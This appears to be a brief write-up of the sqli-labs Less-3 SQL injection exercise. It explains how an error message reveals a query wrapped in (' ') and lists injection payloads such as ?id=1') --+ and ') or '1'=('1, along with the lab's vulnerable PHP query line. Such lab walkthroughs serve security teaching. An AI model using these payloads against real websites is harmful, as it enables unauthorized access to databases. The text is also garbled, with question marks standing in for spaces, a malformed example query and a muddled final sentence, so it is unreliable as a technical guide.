Sqli-labs less 3

Less-3

We use? id= '

After injecting the code, we get an error like this:

MySQL?server?version?for?the?right?syntax?to?use?near?"")?LIMIT?0,1′?at?line?1

Here it means that the query that the developer uses is:

Select?login_name,?select?password?from?table?where?id=?(‘our?input?here‘)

So we're going to inject it with this code:

?id=1′)?–-+

In this way, we can get the user name and password, and the subsequent query has been commented out.

In the source code of the SQL query statement, 31 rows:

$sql="SELECT?*?FROM?users?WHERE?id=(‘$id‘)?LIMIT?0,1";

What you can successfully inject are:

‘)?or?‘1‘=(‘1‘

)?or?1=1?--+

The rest of the payload and less1 have been, just need to add the less1 in the ') ')

Sqli-labs less 3